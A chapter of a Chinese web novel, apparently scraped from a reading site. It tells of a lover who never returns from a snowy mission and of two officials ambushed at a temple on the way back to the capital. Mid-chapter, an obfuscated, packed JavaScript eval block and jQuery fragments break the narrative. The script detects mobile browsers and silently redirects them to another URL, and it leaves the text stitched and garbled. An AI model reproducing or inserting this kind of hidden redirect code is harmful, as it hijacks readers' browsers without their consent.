35. 雪落

作品:《总有人对本副史居心不臣

    靖安八年,江州的大雪下了数日,院外喧闹声嘈杂,蒲系未批外衣,冒着雪,一把抓住人的衣袖。


    “为什么替我去?”他语气急促,甚至带了几分恼怒,“连发十来封唐报均无消息,肯定是有人存心拦截,去上京的官道上必定险象环生,你怎么。”


    “所以才不能让你去。”沈繁回过身对人笑,脸上无半点严肃,轻松地仿佛和平日里外出一样,逗乐道,“没练过一招半式就想去上京送唐报,你也太自信了吧。”


    “就因为我不曾习武,才好骗过他们的眼线,”蒲系完全没心情同人开玩笑,“你和沈畔,你们常走江湖的一眼便能被认出,现在去就是送死。”


    “我弟那两下子,你担心情有可原,对付几个无名小卒,你还信不过我?”


    “不是信不过你,只是……”


    只是什么?蒲系垂下双眸。


    只是眼下大军压境,战事不容乐观?


    不是的。


    相比战场上的险恶,暗地里的居心叵测才最让他不安。


    江州是十万百姓的安慰寄托在他们身上,刺史大人已经拼尽全力守住城门,但若援兵迟迟未到,即使铜铁铸成的墙壁也会被攻破。在这弹尽粮绝之际,却有人希望他们坐困愁城,用卑劣的手段切断一切发向外部的情报。


    蒲系知道这次离开江州前往上京意味着什么。是前途艰险,更是生死难料。


    飘落的雪花夹在发间,他固执地认为,只要自己不放手,那人就不会离开,心中不知是悲切还是不舍,偏过头,泪水在眼眶里打转。


    忽然间一只手拂过脸庞,眼前人笑地温和。


    “放心,这几日雪大,他们不容易找到人,我惹不起也躲得起,你和我弟就好好守着江州,不出十日,我肯定回来。”


    “我不信,”蒲系咬牙。“上次要我多等了三日,这账还没和你算。”


    对方赌气的一句戳在心坎上,沈繁尴尬地挠了挠头,思来想去,目光扫过院内满地积雪,棉花般附了薄薄的一层白,顿时眼睛一亮,唤了人指向院门口。


    “哎,看见那门台雪了吗?”


    “那又怎样?”蒲系气恼着,不以为然。


    “等那门台雪积到三尺厚,我就回来了,你可以数着日子。”


    蒲系一愣。


    江南向来少雪,大部分也是触地即化,唯有今年才少见雪大点,怎能期待积到三尺高?


    “江州雪不会下多,不等它三尺厚,两尺厚,不对,半寸厚,我铁定跑两趟来回了,” 沈繁咧了嘴,“好啦,我走了,你保重。”


    暮然回身,衣袖从手中滑落,蒲系的心跳漏了一拍,伴随揪心难耐,万般不舍,冷气吸入,凝聚了浑身力气喊出了人的名字。


    “沈繁!”


    “先生还有什么指教?”风雪里的人停了脚步,温柔的声音融化了漫天冰雪。


    衣摆在手中揉搓皱乱,蒲系踌躇着,半晌才开口。


    “沈繁,我……我想问你……”


    那人走进他,如春日阳光。


    蒲系到嘴边的话憋了回去,紧张地闭眼,他以为会有一个拥抱,可许久没有落下。


    “回来再说。”沈繁轻俯下身,眼底尽是对方的模样,温热的唇瓣贴上额头,蒲系被突然的吻碰得脸绯红。


    “等我。”


    远处,离人归于霜雪。他蹙着眉,耳边是沈繁的最后一句话。


    骗子,你明明知道我想问什么。


    于是,蒲系又信了一次。从那日起,他守着孤寂的门台与飞雪,细细计算落雪的尺寸。


    时间过得很快。


    一日后,雪落了,可惜未积多少。


    十日后,兵败了,他走在尸堆中,茫然地望向天边,回到落寞的庭院,耳边人熟悉的话语依稀可闻。


    一月后,雪停了,三月春初,树枝翻出新芽。


    一年后,江陵的冬天没有下雪。


    后来,蒲系改了名,中了举,做了官,来了淮州,无意间在城郊寻到支枯梅。他把枯梅带回家养活,精心照料,因为这是沈繁最喜欢的花。多年前,沈繁从兖北回来,给他稍了一支。


    他记得那日寒风催生了些许暖意,披星戴月的人满身雪。蒲系很不理解,一个生在山花烂漫月的人,唯独喜爱傲雪凌霜的孤梅。


    可那个拿着梅枝奔向他的人,似乎已经离开了很久,很久。


    十年后的淮州格外寒冷,长廊寂短,落雪霏霏。


    蒲系坐在庭廊下,看着纷飞的雪花轻抚琴弦,只是弹指一挥间,错乱的音律扰动纷纷扬扬的雪片,他幻想着,那个没能赴约的人会像曾经一样,嬉笑着踏入门槛,逗他说,傻瓜,怎么信这么久。


    遥看门台三尺雪,落花不似故人颜。


    再望向院门,寥寥空寂,再无归人。


    嘭一声,一曲未了,崩断的琴弦割伤了手指,血滴在雪里,如盛开一朵鲜红的似梅,他深吸一口气,含着泪狠狠骂了句。


    “骗子……”


    曾以为这段过往会被时间掩埋,连同落梅成尘,消入泥土,再也无人问津,不料十年后,见月阁中,一位持香的公子出现在眼前。


    漫长的一夜过去,日上三竿的时候,常安已经把行李尽数清点完,放进了马车,小手遮了阳光,感叹,“天气好好,要不是少君急着回京,真想再多待几日。”


    “别偷懒,公子要出来了,你连车前都没擦干净。”冉芷提醒道。


    “你家公子就不是讲究的人,擦干净一会等他翻墙走壁、上房揭瓦,咱都白干。”


    但冉芷不听,认定了他家夏公子坐的地方必须一尘不染,不然会弄脏衣服,正说着,有人步入院中。


    冉芷听到脚步声,欢喜地向人奔去,“公子,都收拾好了,我们随时能启程。”


    少年刹那间顿住脚步,声音渐渐淡了下去,他看到夏衍抱了个人出来,用被单裹得严实。


    “少君?”常安迎上前,见邱茗脸上无血色,担心地询问,“您又不舒服了?”


    夏衍比了个噤声的手势,“嘘,这几日事不少,让他多睡会。”


    被人抱在怀里略感颠簸,不如躺在床上舒服,邱茗迷迷糊糊睁了下眼,休息了一晚似乎没缓过来,胸腔里像凝了血块,沉甸甸的,压得人呼吸不畅。


    他偏了偏头,奈何使不上劲,好巧不巧蹭在夏衍的颈窝里。


    “还动?是想回去后,宋子期先扎死我还是先骂死你?”


    邱茗没吭气,皱着眉头,没闹腾起来又恹恹地缩了回去。


    常安引他们走向马车,冷不丁拍了冉芷一巴掌,“别愣着啦,走吧,我们回家。”


    庭院中一行人整理妥当,书锦怀独自前来送行。尽管邱茗很想和人多聊几句,然而体力不支,说两句咳三下,讲到最后只能听着夏衍和自己的先生你一言我一语地聊,很是郁闷,临走时才和人道了句别。


    他需要人看着,夏衍不方便赶车,由容风代劳。


    “你先生说,朝中待不下去了可以来淮州,他会照顾你,”夏衍让邱茗把自己的大腿当枕头,扶了个舒服的姿势,轻笑道,“他可能不太清楚你的能耐,朝上怕是没几人敢和行书院叫板。”


    邱茗不想讲话,难得有机会再睡个回笼觉,脸埋在衣褶里。


    “也好,回南方当乡野村夫,比朝上自由自在,现在多少人眼睛盯你身上,你也不好过吧。”


    他搓着对方的头发,膝枕上的人还是不说话,车窗外景色匆匆,悠扬的琴声若隐若现飘来,宛如雪下新梅,落英动人,须臾间的灿烂,蓬勃生辉。


    是《落梅思》。


    “喂,你先生在送你呢。”


    半梦半醒中,邱茗穆然睁眼,很快又闭上。


    “不是送我……”他紧抓夏衍的衣服,闷闷出了声。


    “他在等人。”


    一曲落梅,原来是风雪离人赋。


    回上京的路比想象中顺利,马车颠簸,邱茗就这样时睡时醒的过了两天,偶尔感觉有阳光晃眼,他稍侧身,一双手便轻轻盖过双眼。


    一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176418|165194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    路上,他并没有和夏衍有过多的交流,后者自知这位副史大人没那么好哄。


    他们不知被何人行踪暴露,若是任由发展下去,对邱茗来说并不是一件好事。无奈,有人在暗处,他一时半会也弄不清对方是谁,和杀周成余的是不是一伙人。


    朝堂上人心牵扯太过复杂,周成余被灭口可能是皇帝刻意为之,但如此,拖李公公给自己带话就显得多余,也可能是当年知道江州旧事的人,为了自保先下手为强,亦或是那些线人的主子为了报复。


    邱茗心一沉。


    难道淮州的事,真的和韶华公主有关?


    翻来覆去想了好一会,再睁眼已是日落西山,躺两天,觉白补了。


    一束光照进马车,容风掀开车帘,“公子,我们虽已到上京城外,但天色不早了,再过半个时辰城内宵禁,只怕回去也叫不开城门,不如就地休息吧。”


    “附近没有驿馆?”


    “此地是上京和淮州的交接,路程不远,不会设驿馆。”常安探脑袋插嘴道。


    说来也是,上京和淮州接壤,淮州北部很多行商之人来神都做生意,经常当天来回,确实没必要多设一驿。


    夏衍四下看了看,一拍大腿,“咱们去临渊寺。”


    “啊?”


    车前两小孩吃了一惊。


    容风冷着脸差点当场翻白眼,“公子,临渊寺不是能久待的地方。”


    冉芷:“是啊公子,您要是怕凉,我们几个可以睡外面,对付一晚不成问题。”


    “寺里有床能睡,为什么要对付一晚?就这么定了,”夏衍笑着脸掰开死掐自己大腿的手,顺便晃了把怀里人,“你呢?可否愿意屈尊?”


    邱茗本身想事情想得头疼,抗议无果,及其敷衍地嗯了声。


    临渊寺不可能不给羽林军面子,夏衍没报邱茗的名,他知道副史大人不喜欢抛头露面。接待的方丈陪着笑脸,勉强给他们塞了两小间。


    纵然冉芷面脸写着想和夏大公子一间,最后抵不过常安连搂带拽。


    “你凑什么热闹?他两爱待一起就待一起。”


    冉芷很委屈,“我想不通,公子为什么不喜欢我。”


    “他怎么不喜欢你了?给你吃给你住,不让你有危险,”常安一个指头一个指头掰出,转身还不忘大方地分出自己的桂花糕,“行啦,我不喜欢你们三,不过少君肯带你们,我不能抹了他的面子。”


    桂花糕是离开琅祎时夏衍买的,邱茗近几日不舒服,吃不下,于是分给了小孩们。


    冉芷盯了片刻,咽了唾沫,没要,自顾自走向房内,把吃货晾在了外面。


    常安追去无果,哼哼地咬下一大口,嘟囔着,“不识好人心,别锁门啊,喂!”


    小孩们吵吵嚷嚷地离开,房间里又恢复了安静,临渊寺临渊,能听见屋外哗哗的瀑布声。邱茗耐着性子看夏衍在门口转了好几圈,先是多要了床被子,后嘱咐送的斋粥需煮糊一些。


    “你先将就一下,明天进城带你吃好的。”


    “你们喝酒的菜,我吃不惯。”邱茗淡淡地搅了碗里的白粥,眼中略过一丝冷光,“去什么地方不好,非来临渊寺,夏衍,你存的什么心。”


    “有房子,有床睡,你还真想风餐露宿不成?再给你冻出个病来,那位宋大夫是不是要追着我砍?”


    “你是觉得,惊扰圣驾比惊扰太医署罪名更轻吗?”邱茗根本没心思吃饭,耳边杂乱的声音从四面八方逼近。


    坐在床边的人笑了笑,似乎对发生的一切均在掌握中。


    “传到皇帝的耳朵里更好,让她看清楚手底下养了群什么人,”夏衍替他把碗放好,在四处被埋伏的情况下,也只有他临危不乱,


    “是淮州线人的主子想封你的口,还是周成余上面的人不想你查下去?”一只手掰过人的下巴,屋外动静越来越大,甚至盖过了哗哗流水。


    屋外瀑布声震耳欲聋,屋内夏衍半跪在他面前,平静无比。


    “副史大人,到底有多少人,想要了你这条命?”